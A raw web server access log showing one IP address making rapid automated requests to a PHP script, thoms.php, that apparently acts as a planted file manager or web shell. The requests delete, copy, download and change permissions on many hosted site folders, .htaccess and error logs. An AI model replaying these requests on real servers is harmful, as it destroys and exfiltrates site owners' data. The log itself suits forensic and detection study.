45.135.193.11 - - [11/Sep/2026:23:38:37 -0400] "GET /betcity.com.tw/thoms.php?chmod=bestzyx.com.tw&p= HTTP/1.1" 200 11433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:37 -0400] "GET /betcity.com.tw/thoms.php?del=wordpress-6.6-20260912023539&p= HTTP/1.1" 200 22468 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:38 -0400] "GET /betcity.com.tw/thoms.php?del=betcity.com.tw&p= HTTP/1.1" 200 22482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:38 -0400] "GET /betcity.com.tw/thoms.php?chmod=bft.com.tw&p= HTTP/1.1" 200 11430 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:38 -0400] "GET /betcity.com.tw/thoms.php?del=ba-guo.com.tw&p= HTTP/1.1" 200 22455 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:38 -0400] "GET /betcity.com.tw/thoms.php?del=mah.php&p= HTTP/1.1" 200 22466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:38 -0400] "GET /betcity.com.tw/thoms.php?p=bft.com.tw HTTP/1.1" 200 19375 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:38 -0400] "GET /betcity.com.tw/thoms.php?del=bossini.com.tw&p= HTTP/1.1" 200 22326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:38 -0400] "GET /betcity.com.tw/thoms.php?chmod=cgi-bin&p= HTTP/1.1" 200 11430 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:38 -0400] "GET /betcity.com.tw/thoms.php?copy=wp-content-20260912023544&p= HTTP/1.1" 200 12344 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:38 -0400] "GET /betcity.com.tw/thoms.php?dl=error_log&p= HTTP/1.1" 200 22465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:38 -0400] "GET /betcity.com.tw/thoms.php?p=&settings=1 HTTP/1.1" 200 11851 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:38 -0400] "GET /betcity.com.tw/thoms.php?dl=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 200 22466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:38 -0400] "GET /betcity.com.tw/thoms.php?p=bodbooks.com.tw HTTP/1.1" 200 17559 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:38 -0400] "GET /betcity.com.tw/thoms.php?copy=ba-guo.com.tw&p= HTTP/1.1" 200 12365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:38 -0400] "GET /betcity.com.tw/thoms.php?chmod=bestjudy.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:38 -0400] "GET /betcity.com.tw/thoms.php?copy=bossini.com.tw&p= HTTP/1.1" 200 12352 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:38 -0400] "GET /betcity.com.tw/thoms.php?chmod=thoms.php&p= HTTP/1.1" 200 11425 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:38 -0400] "GET /betcity.com.tw/thoms.php?p=ba-guo.com.tw HTTP/1.1" 200 12524 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:38 -0400] "GET /betcity.com.tw/thoms.php?del=thoms.php&p= HTTP/1.1" 200 22498 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:38 -0400] "GET /betcity.com.tw/thoms.php?chmod=upgrade&p= HTTP/1.1" 200 11426 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:38 -0400] "GET /betcity.com.tw/thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 17353 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:38 -0400] "GET /betcity.com.tw/thoms.php?p=wp-content-20260912023544 HTTP/1.1" 200 12535 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:38 -0400] "GET /betcity.com.tw/thoms.php?p=&view=error_log HTTP/1.1" 200 11860 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:38 -0400] "GET /betcity.com.tw/thoms.php?dl=error_log-20260912023633.&p= HTTP/1.1" 200 22455 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:38 -0400] "GET /betcity.com.tw/thoms.php?del=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 200 22466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:38 -0400] "GET /betcity.com.tw/thoms.php?copy=ba-guo.com-20260912023525&p= HTTP/1.1" 200 12343 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:38 -0400] "GET /betcity.com.tw/thoms.php?del=biotaiwan.com.tw&p= HTTP/1.1" 200 22456 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:38 -0400] "GET /betcity.com.tw/thoms.php?del=wp-content&p= HTTP/1.1" 200 22465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:38 -0400] "GET /betcity.com.tw/thoms.php?copy=wp-content&p= HTTP/1.1" 200 12334 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:38 -0400] "GET /betcity.com.tw/thoms.php?del=wp-content-20260912023544&p= HTTP/1.1" 200 22466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:38 -0400] "GET /betcity.com.tw/thoms.php?del=.htaccess&p= HTTP/1.1" 200 22466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:39 -0400] "GET /betcity.com.tw/thoms.php?chmod=error_log&p= HTTP/1.1" 200 11433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:39 -0400] "GET /betcity.com.tw/thoms.php?chmod=error_log-20260912023633.&p= HTTP/1.1" 200 11451 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:39 -0400] "GET /betcity.com.tw/thoms.php?chmod=besth2o.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:39 -0400] "GET /betcity.com.tw/thoms.php?copy=wordpress-6.6-20260912023539&p= HTTP/1.1" 200 12358 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:39 -0400] "GET /betcity.com.tw/thoms.php?del=cgi-bin&p= HTTP/1.1" 200 22464 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:39 -0400] "GET /betcity.com.tw/thoms.php?del=error_log&p= HTTP/1.1" 200 22453 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:39 -0400] "GET /betcity.com.tw/thoms.php?del=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 22462 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:39 -0400] "GET /betcity.com.tw/thoms.php?del=besth2o.com.tw&p= HTTP/1.1" 200 22466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:39 -0400] "GET /betcity.com.tw/thoms.php?p= HTTP/1.1" 200 22468 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:39 -0400] "GET /betcity.com.tw/thoms.php?copy=besth2o.com.tw&p= HTTP/1.1" 200 12355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:39 -0400] "GET /betcity.com.tw/thoms.php?copy=broadweb.com.tw&p= HTTP/1.1" 200 12350 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:39 -0400] "GET /betcity.com.tw/thoms.php?p=&view=mah.php HTTP/1.1" 200 11754 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:39 -0400] "GET /betcity.com.tw/thoms.php?p=ba-guo.com-20260912023525 HTTP/1.1" 200 17284 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:39 -0400] "GET /betcity.com.tw/thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17380 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:39 -0400] "GET /betcity.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:39 -0400] "GET /betcity.com.tw/thoms.php?del=error_log-20260912023633.&p= HTTP/1.1" 200 22466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:39 -0400] "GET /betcity.com.tw/thoms.php?copy=upgrade&p= HTTP/1.1" 200 12315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:39 -0400] "GET /betcity.com.tw/thoms.php?copy=betcity.com.tw&p= HTTP/1.1" 200 12362 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:39 -0400] "GET /betcity.com.tw/thoms.php?p= HTTP/1.1" 200 22467 "https://163.245.207.76/betcity.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TW&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:39 -0400] "GET /betcity.com.tw/thoms.php?copy=bodbooks.com.tw&p= HTTP/1.1" 200 12350 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:39 -0400] "GET /betcity.com.tw/thoms.php?chmod=bogroup.com.tw&p= HTTP/1.1" 200 11430 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:39 -0400] "GET /betcity.com.tw/thoms.php?chmod=broadweb.com.tw&p= HTTP/1.1" 200 11431 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:39 -0400] "GET /betcity.com.tw/thoms.php?chmod=.htaccess&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:39 -0400] "GET /betcity.com.tw/thoms.php?chmod=big-wife.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:39 -0400] "GET /betcity.com.tw/thoms.php?chmod=bioway88.com.tw&p= HTTP/1.1" 200 11444 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:39 -0400] "GET /betcity.com.tw/thoms.php?del=broadweb.com.tw&p= HTTP/1.1" 200 22467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:39 -0400] "GET /betcity.com.tw/thoms.php?p=upgrade HTTP/1.1" 200 14003 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:39 -0400] "GET /betcity.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 12367 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:39 -0400] "GET /betcity.com.tw/thoms.php?del=ba-guo.com-20260912023525&p= HTTP/1.1" 200 22546 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:39 -0400] "GET /betcity.com.tw/thoms.php?p=&view=error_log-20260912023633. HTTP/1.1" 200 12234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:39 -0400] "GET /betcity.com.tw/thoms.php?copy=error_log-20260912023633.&p= HTTP/1.1" 200 12370 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:39 -0400] "GET /betcity.com.tw/thoms.php?del=big-wife.com.tw&p= HTTP/1.1" 200 22466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:39 -0400] "GET /betcity.com.tw/thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 21171 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:40 -0400] "GET /betcity.com.tw/thoms.php?copy=bestzyx.com.tw&p= HTTP/1.1" 200 12363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:40 -0400] "GET /betcity.com.tw/thoms.php?del=bft.com.tw&p= HTTP/1.1" 200 22467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:40 -0400] "GET /betcity.com.tw/thoms.php?p=big-wife.com.tw HTTP/1.1" 200 20745 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:40 -0400] "GET /betcity.com.tw/thoms.php?copy=big-wife.com.tw&p= HTTP/1.1" 200 12348 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:40 -0400] "GET /betcity.com.tw/thoms.php?copy=biotaiwan.com.tw&p= HTTP/1.1" 200 12349 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:40 -0400] "GET /betcity.com.tw/thoms.php?del=upgrade&p= HTTP/1.1" 200 22466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:40 -0400] "GET /betcity.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:40 -0400] "GET /betcity.com.tw/thoms.php?dl=mah.php&p= HTTP/1.1" 200 22454 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:40 -0400] "GET /betcity.com.tw/thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus.zip HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:40 -0400] "GET /betcity.com.tw/thoms.php?p= HTTP/1.1" 200 22466 "https://163.245.207.76/betcity.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TW&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:40 -0400] "GET /betcity.com.tw/thoms.php?p= HTTP/1.1" 200 22501 "https://163.245.207.76/betcity.com.tw/thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus.zip" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:40 -0400] "GET /betcity.com.tw/thoms.php?copy=bogroup.com.tw&p= HTTP/1.1" 200 12353 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:40 -0400] "GET /betcity.com.tw/thoms.php?copy=booking-wise2.com.tw&p= HTTP/1.1" 200 12360 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:40 -0400] "GET /betcity.com.tw/thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17373 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:40 -0400] "GET /betcity.com.tw/thoms.php?del=beauty-dental.com.tw&p= HTTP/1.1" 200 22452 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:40 -0400] "GET /betcity.com.tw/thoms.php?chmod=ba-guo.com-20260912023525&p= HTTP/1.1" 200 11447 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:40 -0400] "GET /betcity.com.tw/thoms.php?dl=.htaccess&p= HTTP/1.1" 200 22457 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:40 -0400] "GET /betcity.com.tw/thoms.php?copy=thoms.php&p= HTTP/1.1" 200 12336 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:40 -0400] "GET /betcity.com.tw/thoms.php?copy=beauty-dental.com.tw&p= HTTP/1.1" 200 12361 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:40 -0400] "GET /betcity.com.tw/thoms.php?chmod=biotaiwan.com.tw&p= HTTP/1.1" 200 11433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:40 -0400] "GET /betcity.com.tw/thoms.php?p=wp-content HTTP/1.1" 200 13759 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:40 -0400] "GET /betcity.com.tw/thoms.php?dl=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 22465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:40 -0400] "GET /betcity.com.tw/thoms.php?chmod=betcity.com.tw&p= HTTP/1.1" 200 11430 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:40 -0400] "GET /betcity.com.tw/thoms.php?del=booking-wise2.com.tw&p= HTTP/1.1" 200 22468 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:40 -0400] "GET /betcity.com.tw/thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:40 -0400] "GET /betcity.com.tw/thoms.php?p=&view=thoms.php HTTP/1.1" 200 11756 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:40 -0400] "GET /betcity.com.tw/thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17711 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:40 -0400] "GET /betcity.com.tw/thoms.php?copy=cgi-bin&p= HTTP/1.1" 200 12348 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:40 -0400] "GET /betcity.com.tw/thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17504 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:40 -0400] "GET /betcity.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
